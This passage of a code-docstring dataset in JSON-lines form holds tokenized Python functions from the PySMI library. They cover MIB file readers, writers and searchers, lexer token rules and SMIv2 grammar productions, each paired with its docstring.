MIBs names\n            options: options that affect the way PySMI components work\n\n        Returns:\n            A dictionary of MIB module names processed (keys) and *MibStatus*\n            class instances (values)", "id": "f5634:c1:m5"}
{"signature": "def __init__(self, cbFun, cbCtx=None):", "body": "self._cbFun = cbFun<EOL>self._cbCtx = cbCtx<EOL>", "docstring": "Creates an instance of *CallbackWriter* class.\n\n        Args:\n            cbFun (callable): user-supplied callable\n        Keyword Args:\n            cbCtx: user-supplied object passed intact to user callback", "id": "f5635:c0:m0"}
{"signature": "def __init__(self, path):", "body": "self._path = decode(os.path.normpath(path))<EOL>", "docstring": "Creates an instance of *FileReader* class.\n\n           Args:\n               path: writable directory to store created files", "id": "f5638:c0:m0"}
{"signature": "def __init__(self, path):", "body": "self._path = decode(os.path.normpath(path))<EOL>", "docstring": "Creates an instance of *PyFileWriter* class.\n\n           Args:\n               path: writable directory to store Python modules", "id": "f5639:c0:m0"}
{"signature": "def __init__(self, path):", "body": "self._path = os.path.normpath(decode(path))<EOL>", "docstring": "Create an instance of *AnyFileSearcher* bound to specific directory.\n\n           Args:\n             path (str): path to local directory", "id": "f5640:c0:m0"}
{"signature": "def __init__(self, package):", "body": "self._package = package<EOL>self.__loader = None<EOL>", "docstring": "Create an instance of *PyPackageSearcher* bound to specific Python\n           package.\n\n           Args:\n               package (str): name of the Python package to look up Python\n                              modules at.", "id": "f5642:c0:m0"}
{"signature": "def __init__(self, *mibnames):", "body": "self._mibnames = mibnames<EOL>", "docstring": "Create an instance of *StubSearcher* initialized with a fixed list\n           or MIB modules names.\n\n           Args:\n               mibnames (str): blacklisted MIB names", "id": "f5644:c0:m0"}
{"signature": "def __init__(self, path):", "body": "self._path = os.path.normpath(decode(path))<EOL>", "docstring": "Create an instance of *PyFileSearcher* bound to specific directory.\n\n           Args:\n             path (str): path to local directory", "id": "f5645:c0:m0"}
{"signature": "def __init__(self, cbFun, cbCtx=None):", "body": "self._cbFun = cbFun<EOL>self._cbCtx = cbCtx<EOL>", "docstring": "Create an instance of *CallbackReader* bound to specific URL.\n\n           Args:\n               cbFun (callable): user callable accepting *MIB name* and *cbCtx* objects\n\n           Keyword Args:\n               cbCtx (object): user object that can be used to communicate state information\n                   between user-scope code and the *cbFun* callable scope", "id": "f5647:c0:m0"}
{"signature": "def __init__(self, host, locationTemplate, timeout=<NUM_LIT:5>, ssl=False, port=<NUM_LIT>,<EOL>user='<STR_LIT>', password='<STR_LIT>'):", "body": "self._host = host<EOL>self._locationTemplate = locationTemplate<EOL>self._timeout = timeout<EOL>self._ssl = ssl<EOL>self._port = port<EOL>self._user = user<EOL>self._password = password<EOL>if '<STR_LIT>' not in locationTemplate:<EOL><INDENT>raise error.PySmiError('<STR_LIT>' % self)<EOL><DEDENT>", "docstring": "Create an instance of *FtpReader* bound to specific FTP server\n           directory.\n\n           Args:\n               host (str): domain name or IP address of web server\n               locationTemplate (str): location part of the directory containing @mib@ magic placeholder to be\n                   replaced with MIB name fetch.\n\n           Keyword Args:\n               timeout (int): response timeout\n               ssl (bool): access HTTPS web site\n               port (int): TCP port web server is listening\n               user (str): username at FTP server\n               password (str): password for *username* at FTP server", "id": "f5649:c0:m0"}
{"signature": "def __init__(self, path, ignoreErrors=True):", "body": "self._name = path<EOL>self._members = {}<EOL>self._pendingError = None<EOL>try:<EOL><INDENT>self._members = self._readZipDirectory(fileObj=open(path, '<STR_LIT:rb>'))<EOL><DEDENT>except Exception:<EOL><INDENT>debug.logger & debug.flagReader and debug.logger(<EOL>'<STR_LIT>' % (self._name, sys.exc_info()[<NUM_LIT:1>]))<EOL>if not ignoreErrors:<EOL><INDENT>self._pendingError = error.PySmiError('<STR_LIT>' % (self._name, sys.exc_info()[<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>", "docstring": "Create an instance of *ZipReader* serving a ZIP archive.\n\n           Args:\n               path (str): path to ZIP archive containing MIB files\n\n           Keyword Args:\n               ignoreErrors (bool): ignore ZIP archive access errors", "id": "f5651:c1:m0"}
{"signature": "def __init__(self, path, recursive=True, ignoreErrors=True):", "body": "self._path = os.path.normpath(path)<EOL>self._recursive = recursive<EOL>self._ignoreErrors = ignoreErrors<EOL>self._indexLoaded = False<EOL>self._mibIndex = None<EOL>", "docstring": "Create an instance of *FileReader* serving a directory.\n\n           Args:\n               path (str): directory to search MIB files\n\n           Keyword Args:\n               recursive (bool): whether to include subdirectories\n               ignoreErrors (bool): ignore filesystem access errors", "id": "f5652:c0:m0"}
{"signature": "def __init__(self, host, port, locationTemplate, timeout=<NUM_LIT:5>, ssl=False):", "body": "self._url = '<STR_LIT>' % (ssl and '<STR_LIT>' or '<STR_LIT:http>',<EOL>host, port, decode(locationTemplate))<EOL>socket.setdefaulttimeout(timeout)<EOL>self._user_agent = '<STR_LIT>' % (<EOL>pysmi_version, sys.version_info[<NUM_LIT:0>], sys.version_info[<NUM_LIT:1>],<EOL>sys.version_info[<NUM_LIT:2>], sys.platform<EOL>)<EOL>", "docstring": "Create an instance of *HttpReader* bound to specific URL.\n\n           Note:\n               The `http_proxy` and `https_proxy` environment variables are\n               respected by the underlying `urllib` stdlib module.\n\n           Args:\n               host (str): domain name or IP address of web server\n               port (int): TCP port web server is listening\n               locationTemplate (str): location part of the URL optionally containing @mib@\n                   magic placeholder to be replaced with MIB name. If @mib@ magic is not present,\n                   MIB name is appended to `locationTemplate`\n\n           Keyword Args:\n               timeout (int): response timeout\n               ssl (bool): access HTTPS web site", "id": "f5653:c0:m0"}
{"signature": "def t_newline(self, t):", "body": "t.lexer.lineno += <NUM_LIT:1><EOL>", "docstring": "r'\\r\\n|\\n|\\r", "id": "f5667:c0:m2"}
{"signature": "def t_MACRO(self, t):", "body": "t.lexer.begin('<STR_LIT>')<EOL>return t<EOL>", "docstring": "r'MACRO", "id": "f5667:c0:m3"}
{"signature": "def t_macro_newline(self, t):", "body": "t.lexer.lineno += <NUM_LIT:1><EOL>", "docstring": "r'\\r\\n|\\n|\\r", "id": "f5667:c0:m4"}
{"signature": "def t_macro_END(self, t):", "body": "t.lexer.begin('<STR_LIT>')<EOL>return t<EOL>", "docstring": "r'END", "id": "f5667:c0:m5"}
{"signature": "def t_macro_body(self, t):", "body": "pass<EOL>", "docstring": "r'.+?(?=END)", "id": "f5667:c0:m6"}
{"signature": "def t_EXPORTS(self, t):", "body": "t.lexer.begin('<STR_LIT>')<EOL>return t<EOL>", "docstring": "r'EXPORTS", "id": "f5667:c0:m7"}
{"signature": "def t_exports_newline(self, t):", "body": "t.lexer.lineno += <NUM_LIT:1><EOL>", "docstring": "r'\\r\\n|\\n|\\r", "id": "f5667:c0:m8"}
{"signature": "def t_exports_end(self, t):", "body": "t.lexer.begin('<STR_LIT>')<EOL>", "docstring": "r';", "id": "f5667:c0:m9"}
{"signature": "def t_exports_body(self, t):", "body": "pass<EOL>", "docstring": "r'[^;]+", "id": "f5667:c0:m10"}
{"signature": "def t_CHOICE(self, t):", "body": "t.lexer.begin('<STR_LIT>')<EOL>return t<EOL>", "docstring": "r'CHOICE", "id": "f5667:c0:m11"}
{"signature": "def t_choice_newline(self, t):", "body": "t.lexer.lineno += <NUM_LIT:1><EOL>", "docstring": "r'\\r\\n|\\n|\\r", "id": "f5667:c0:m12"}
{"signature": "def t_choice_end(self, t):", "body": "t.lexer.begin('<STR_LIT>')<EOL>", "docstring": "r'\\}", "id": "f5667:c0:m13"}
{"signature": "def t_choice_body(self, t):", "body": "pass<EOL>", "docstring": "r'[^\\}]+", "id": "f5667:c0:m14"}
{"signature": "def t_begin_comment(self, t):", "body": "t.lexer.begin('<STR_LIT>')<EOL>", "docstring": "r'--", "id": "f5667:c0:m15"}
{"signature": "def t_comment_newline(self, t):", "body": "t.lexer.lineno += <NUM_LIT:1><EOL>t.lexer.begin('<STR_LIT>')<EOL>", "docstring": "r'\\r\\n|\\n|\\r", "id": "f5667:c0:m16"}
{"signature": "def t_comment_body(self, t):", "body": "pass<EOL>", "docstring": "r'[^\\r\\n]+", "id": "f5667:c0:m17"}
{"signature": "def t_UPPERCASE_IDENTIFIER(self, t):", "body": "if t.value in self.forbidden_words:<EOL><INDENT>raise error.PySmiLexerError(\"<STR_LIT>\" % t.value, lineno=t.lineno)<EOL><DEDENT>if t.value[-<NUM_LIT:1>] == '<STR_LIT:->':<EOL><INDENT>raise error.PySmiLexerError(\"<STR_LIT>\" % t.value, lineno=t.lineno)<EOL><DEDENT>t.type = self.reserved.get(t.value, '<STR_LIT>')<EOL>return t<EOL>", "docstring": "r'[A-Z][-a-zA-z0-9]*", "id": "f5667:c0:m18"}
{"signature": "def t_LOWERCASE_IDENTIFIER(self, t):", "body": "if t.value[-<NUM_LIT:1>] == '<STR_LIT:->':<EOL><INDENT>raise error.PySmiLexerError(\"<STR_LIT>\" % t.value, lineno=t.lineno)<EOL><DEDENT>return t<EOL>", "docstring": "r'[0-9]*[a-z][-a-zA-z0-9]*", "id": "f5667:c0:m19"}
{"signature": "def t_NUMBER(self, t):", "body": "t.value = int(t.value)<EOL>neg = <NUM_LIT:0><EOL>if t.value < <NUM_LIT:0>:<EOL><INDENT>neg = <NUM_LIT:1><EOL><DEDENT>val = abs(t.value)<EOL>if val <= UNSIGNED32_MAX:<EOL><INDENT>if neg:<EOL><INDENT>t.type = '<STR_LIT>'<EOL><DEDENT><DEDENT>elif val <= UNSIGNED64_MAX:<EOL><INDENT>if neg:<EOL><INDENT>t.type = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>t.type = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise error.PySmiLexerError(\"<STR_LIT>\" % t.value, lineno=t.lineno)<EOL><DEDENT>return t<EOL>", "docstring": "r'-?[0-9]+", "id": "f5667:c0:m20"}
{"signature": "def t_BIN_STRING(self, t):", "body": "value = t.value[<NUM_LIT:1>:-<NUM_LIT:2>]<EOL>while value and value[<NUM_LIT:0>] == '<STR_LIT:0>' and len(value) % <NUM_LIT:8>:<EOL><INDENT>value = value[<NUM_LIT:1>:]<EOL><DEDENT>return t<EOL>", "docstring": "r'\\'[01]*\\'[bB]", "id": "f5667:c0:m21"}
{"signature": "def t_HEX_STRING(self, t):", "body": "value = t.value[<NUM_LIT:1>:-<NUM_LIT:2>]<EOL>while value and value[<NUM_LIT:0>] == '<STR_LIT:0>' and len(value) % <NUM_LIT:2>:<EOL><INDENT>value = value[<NUM_LIT:1>:]<EOL><DEDENT>return t<EOL>", "docstring": "r'\\'[0-9a-fA-F]*\\'[hH]", "id": "f5667:c0:m22"}
{"signature": "def t_QUOTED_STRING(self, t):", "body": "t.lexer.lineno += len(re.findall(r'<STR_LIT>', t.value))<EOL>return t<EOL>", "docstring": "r'\\\"[^\\\"]*\\", "id": "f5667:c0:m23"}
{"signature": "def parserFactory(**grammarOptions):", "body": "classAttr = {}<EOL>for option in grammarOptions:<EOL><INDENT>if grammarOptions[option]:<EOL><INDENT>if option not in relaxedGrammar:<EOL><INDENT>raise error.PySmiError('<STR_LIT>' % option)<EOL><DEDENT>for func in relaxedGrammar[option]:<EOL><INDENT>if sys.version_info[<NUM_LIT:0>] > <NUM_LIT:2>:<EOL><INDENT>classAttr[func.__name__] = func<EOL><DEDENT>else:<EOL><INDENT>classAttr[func.func_name] = func<EOL><DEDENT><DEDENT><DEDENT><DEDENT>classAttr['<STR_LIT>'] = lexerFactory(**grammarOptions)<EOL>return type('<STR_LIT>', (SmiV2Parser,), classAttr)<EOL>", "docstring": "Factory function producing custom specializations of base *SmiV2Parser*\n       class.\n\n       Keyword Args:\n           grammarOptions: a list of (bool) typed optional keyword parameters\n                           enabling particular set of SMIv2 grammar relaxations.\n\n       Returns:\n           Specialized copy of *SmiV2Parser* class.\n\n       Notes:\n           The following SMIv2 grammar relaxation parameters are defined:\n\n           * supportSmiV1Keywords - parses SMIv1 grammar\n           * supportIndex - tolerates ASN.1 types in INDEX clause\n           * commaAtTheEndOfImport - tolerates stray comma at the end of IMPORT section\n           * commaAtTheEndOfSequence - tolerates stray comma at the end of sequence of elements in MIB\n           * mixOfCommasAndSpaces - tolerate a mix of comma and spaces in MIB enumerations\n           * uppercaseIdentifier - tolerate uppercased MIB identifiers\n           * lowcaseIdentifier - tolerate lowercase MIB identifiers\n           * curlyBracesAroundEnterpriseInTrap - tolerate curly braces around enterprise ID in TRAP MACRO\n           * noCells - tolerate missing cells (XXX)\n\n       Examples:\n\n       >>> from pysmi.parser import smi\n       >>> SmiV1Parser = smi.parserFactory(supportSmiV1Keywords=True, supportIndex=True)", "id": "f5672:m0"}
{"signature": "def p_mibFile(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL>", "docstring": "mibFile : modules\n                   | empty", "id": "f5672:c0:m3"}
{"signature": "def p_modules(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "modules : modules module\n                   | module", "id": "f5672:c0:m4"}
{"signature": "def p_module(self, p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:2>],  <EOL>p[<NUM_LIT:7>],  <EOL>p[<NUM_LIT:8>])<EOL>", "docstring": "module : moduleName moduleOid DEFINITIONS COLON_COLON_EQUAL BEGIN exportsClause linkagePart declarationPart END", "id": "f5672:c0:m5"}
{"signature": "def p_moduleOid(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL><DEDENT>", "docstring": "moduleOid : '{' objectIdentifier '}'\n                     | empty", "id": "f5672:c0:m6"}
{"signature": "def p_linkagePart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "linkagePart : linkageClause\n                       | empty", "id": "f5672:c0:m7"}
{"signature": "def p_linkageClause(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL>", "docstring": "linkageClause : IMPORTS importPart ';", "id": "f5672:c0:m8"}
{"signature": "def p_exportsClause(self, p):", "body": "", "docstring": "exportsClause : EXPORTS\n                         | empty", "id": "f5672:c0:m9"}
{"signature": "def p_importPart(self, p):", "body": "<EOL>if p[<NUM_LIT:1>]:<EOL><INDENT>importDict = {}<EOL>for imp in p[<NUM_LIT:1>]:  <EOL><INDENT>fromModule, symbols = imp<EOL>if fromModule in importDict:<EOL><INDENT>importDict[fromModule] += symbols<EOL><DEDENT>else:<EOL><INDENT>importDict[fromModule] = symbols<EOL><DEDENT><DEDENT>p[<NUM_LIT:0>] = importDict<EOL><DEDENT>", "docstring": "importPart : imports\n                      | empty", "id": "f5672:c0:m10"}
{"signature": "def p_imports(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "imports : imports import\n                   | import", "id": "f5672:c0:m11"}
{"signature": "def p_import(self, p):", "body": "<EOL>p[<NUM_LIT:0>] = (p[<NUM_LIT:3>],  <EOL>p[<NUM_LIT:1>])<EOL>", "docstring": "import : importIdentifiers FROM moduleName", "id": "f5672:c0:m12"}
{"signature": "def p_importIdentifiers(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "importIdentifiers : importIdentifiers ',' importIdentifier\n                             | importIdentifier", "id": "f5672:c0:m13"}
{"signature": "def p_importIdentifier(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "importIdentifier : LOWERCASE_IDENTIFIER\n                            | UPPERCASE_IDENTIFIER\n                            | importedKeyword", "id": "f5672:c0:m14"}
{"signature": "def p_importedKeyword(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "importedKeyword : importedSMIKeyword\n                           | BITS\n                           | INTEGER32\n                           | IPADDRESS\n                           | MANDATORY_GROUPS\n                           | MODULE_COMPLIANCE\n                           | MODULE_IDENTITY\n                           | OBJECT_GROUP\n                           | OBJECT_IDENTITY\n                           | OBJECT_TYPE\n                           | OPAQUE\n                           | TEXTUAL_CONVENTION\n                           | TIMETICKS\n                           | UNSIGNED32", "id": "f5672:c0:m15"}
{"signature": "def p_importedSMIKeyword(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "importedSMIKeyword : AGENT_CAPABILITIES\n                              | COUNTER32\n                              | COUNTER64\n                              | GAUGE32\n                              | NOTIFICATION_GROUP\n                              | NOTIFICATION_TYPE\n                              | TRAP_TYPE", "id": "f5672:c0:m16"}
{"signature": "def p_moduleName(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "moduleName : UPPERCASE_IDENTIFIER", "id": "f5672:c0:m17"}
{"signature": "def p_declarationPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "declarationPart : declarations\n                           | empty", "id": "f5672:c0:m18"}
{"signature": "def p_declarations(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "declarations : declarations declaration\n                        | declaration", "id": "f5672:c0:m19"}
{"signature": "def p_declaration(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "declaration : typeDeclaration\n                       | valueDeclaration\n                       | objectIdentityClause\n                       | objectTypeClause\n                       | trapTypeClause\n                       | notificationTypeClause\n                       | moduleIdentityClause\n                       | moduleComplianceClause\n                       | objectGroupClause\n                       | notificationGroupClause\n                       | agentCapabilitiesClause\n                       | macroClause", "id": "f5672:c0:m20"}
{"signature": "def p_macroClause(self, p):", "body": "", "docstring": "macroClause : macroName MACRO END", "id": "f5672:c0:m21"}
{"signature": "def p_macroName(self, p):", "body": "", "docstring": "macroName : MODULE_IDENTITY\n                     | OBJECT_TYPE\n                     | TRAP_TYPE\n                     | NOTIFICATION_TYPE\n                     | OBJECT_IDENTITY\n                     | TEXTUAL_CONVENTION\n                     | OBJECT_GROUP\n                     | NOTIFICATION_GROUP\n                     | MODULE_COMPLIANCE\n                     | AGENT_CAPABILITIES", "id": "f5672:c0:m22"}
{"signature": "def p_choiceClause(self, p):", "body": "", "docstring": "choiceClause : CHOICE", "id": "f5672:c0:m23"}
{"signature": "def p_fuzzy_lowercase_identifier(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "fuzzy_lowercase_identifier : LOWERCASE_IDENTIFIER\n                                      | UPPERCASE_IDENTIFIER", "id": "f5672:c0:m24"}
{"signature": "def p_valueDeclaration(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:6>])<EOL>", "docstring": "valueDeclaration : fuzzy_lowercase_identifier OBJECT IDENTIFIER COLON_COLON_EQUAL '{' objectIdentifier '}", "id": "f5672:c0:m25"}
{"signature": "def p_typeDeclaration(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:3>])<EOL>", "docstring": "typeDeclaration : typeName COLON_COLON_EQUAL typeDeclarationRHS", "id": "f5672:c0:m26"}
{"signature": "def p_typeName(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "typeName : UPPERCASE_IDENTIFIER\n                    | typeSMI", "id": "f5672:c0:m27"}
{"signature": "def p_typeSMI(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "typeSMI : typeSMIandSPPI\n                   | typeSMIonly", "id": "f5672:c0:m28"}
{"signature": "def p_typeSMIandSPPI(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "typeSMIandSPPI : IPADDRESS\n                          | TIMETICKS\n                          | OPAQUE\n                          | INTEGER32\n                          | UNSIGNED32", "id": "f5672:c0:m29"}
{"signature": "def p_typeSMIonly(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "typeSMIonly : COUNTER32\n                       | GAUGE32\n                       | COUNTER64", "id": "f5672:c0:m30"}
{"signature": "def p_typeDeclarationRHS(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>if p[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:2>],  <EOL>p[<NUM_LIT:4>],  <EOL>(p[<NUM_LIT:5>], p[<NUM_LIT:6>]),  <EOL>p[<NUM_LIT:7>],  <EOL>p[<NUM_LIT:9>])  <EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>", "docstring": "typeDeclarationRHS : Syntax\n                              | TEXTUAL_CONVENTION DisplayPart STATUS Status DESCRIPTION Text ReferPart SYNTAX Syntax\n                              | choiceClause", "id": "f5672:c0:m31"}
{"signature": "def p_conceptualTable(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:3>])<EOL>", "docstring": "conceptualTable : SEQUENCE OF row", "id": "f5672:c0:m32"}
{"signature": "def p_row(self, p):", "body": "<EOL>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL>", "docstring": "row : UPPERCASE_IDENTIFIER", "id": "f5672:c0:m33"}
{"signature": "def p_entryType(self, p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "entryType : SEQUENCE '{' sequenceItems '}", "id": "f5672:c0:m34"}
{"signature": "def p_sequenceItems(self, p):", "body": "<EOL>n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "sequenceItems : sequenceItems ',' sequenceItem\n                         | sequenceItem", "id": "f5672:c0:m35"}
{"signature": "def p_sequenceItem(self, p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL>", "docstring": "sequenceItem : LOWERCASE_IDENTIFIER sequenceSyntax", "id": "f5672:c0:m36"}
{"signature": "def p_Syntax(self, p):", "body": "<EOL>n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>elif n == <NUM_LIT:5>:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL><DEDENT>", "docstring": "Syntax : ObjectSyntax\n                  | BITS '{' NamedBits '}", "id": "f5672:c0:m37"}
{"signature": "def p_sequenceSyntax(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "sequenceSyntax : BITS\n                          | UPPERCASE_IDENTIFIER anySubType\n                          | sequenceObjectSyntax", "id": "f5672:c0:m38"}
{"signature": "def p_NamedBits(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "NamedBits : NamedBits ',' NamedBit\n                     | NamedBit", "id": "f5672:c0:m39"}
{"signature": "def p_NamedBit(self, p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "NamedBit : LOWERCASE_IDENTIFIER '(' NUMBER ')", "id": "f5672:c0:m40"}
{"signature": "def p_objectIdentityClause(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:4>],  <EOL>(p[<NUM_LIT:5>], p[<NUM_LIT:6>]),  <EOL>p[<NUM_LIT:7>],  <EOL>p[<NUM_LIT:10>])<EOL>", "docstring": "objectIdentityClause : LOWERCASE_IDENTIFIER OBJECT_IDENTITY STATUS Status DESCRIPTION Text ReferPart COLON_COLON_EQUAL '{' objectIdentifier '}", "id": "f5672:c0:m41"}
{"signature": "def p_objectTypeClause(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:4>],  <EOL>p[<NUM_LIT:5>],  <EOL>p[<NUM_LIT:6>],  <EOL>p[<NUM_LIT:8>],  <EOL>p[<NUM_LIT:9>],  <EOL>p[<NUM_LIT:10>],  <EOL>p[<NUM_LIT:11>],  <EOL>p[<NUM_LIT:12>],  <EOL>p[<NUM_LIT>],  <EOL>p[<NUM_LIT:16>])<EOL>", "docstring": "objectTypeClause : LOWERCASE_IDENTIFIER OBJECT_TYPE SYNTAX Syntax UnitsPart MaxOrPIBAccessPart STATUS Status descriptionClause ReferPart IndexPart MibIndex DefValPart COLON_COLON_EQUAL '{' ObjectName '}", "id": "f5672:c0:m42"}
{"signature": "def p_descriptionClause(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "descriptionClause : DESCRIPTION Text\n                             | empty", "id": "f5672:c0:m43"}
{"signature": "def p_trapTypeClause(self, p):", "body": "<EOL>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:4>],  <EOL>p[<NUM_LIT:5>],  <EOL>p[<NUM_LIT:6>],  <EOL>p[<NUM_LIT:7>],  <EOL>p[<NUM_LIT:9>])<EOL>", "docstring": "trapTypeClause : fuzzy_lowercase_identifier TRAP_TYPE ENTERPRISE objectIdentifier VarPart DescrPart ReferPart COLON_COLON_EQUAL NUMBER", "id": "f5672:c0:m44"}
{"signature": "def p_VarPart(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] and p[<NUM_LIT:3>] or []<EOL>", "docstring": "VarPart : VARIABLES '{' VarTypes '}'\n                   | empty", "id": "f5672:c0:m45"}
{"signature": "def p_VarTypes(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:3>]])<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', [p[<NUM_LIT:1>]])<EOL><DEDENT>", "docstring": "VarTypes : VarTypes ',' VarType\n                    | VarType", "id": "f5672:c0:m46"}
{"signature": "def p_VarType(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>][<NUM_LIT:1>][<NUM_LIT:0>]<EOL>", "docstring": "VarType : ObjectName", "id": "f5672:c0:m47"}
{"signature": "def p_DescrPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "DescrPart : DESCRIPTION Text\n                     | empty", "id": "f5672:c0:m48"}
{"signature": "def p_MaxOrPIBAccessPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "MaxOrPIBAccessPart : MaxAccessPart\n                              | empty", "id": "f5672:c0:m49"}
{"signature": "def p_MaxAccessPart(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:2>])<EOL>", "docstring": "MaxAccessPart : MAX_ACCESS Access\n                         | ACCESS Access", "id": "f5672:c0:m50"}
{"signature": "def p_notificationTypeClause(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>',<EOL>p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:3>],  <EOL>p[<NUM_LIT:5>],  <EOL>(p[<NUM_LIT:6>], p[<NUM_LIT:7>]),  <EOL>p[<NUM_LIT:8>],  <EOL>p[<NUM_LIT:11>])<EOL>", "docstring": "notificationTypeClause : LOWERCASE_IDENTIFIER NOTIFICATION_TYPE NotificationObjectsPart STATUS Status DESCRIPTION Text ReferPart COLON_COLON_EQUAL '{' NotificationName '}", "id": "f5672:c0:m51"}
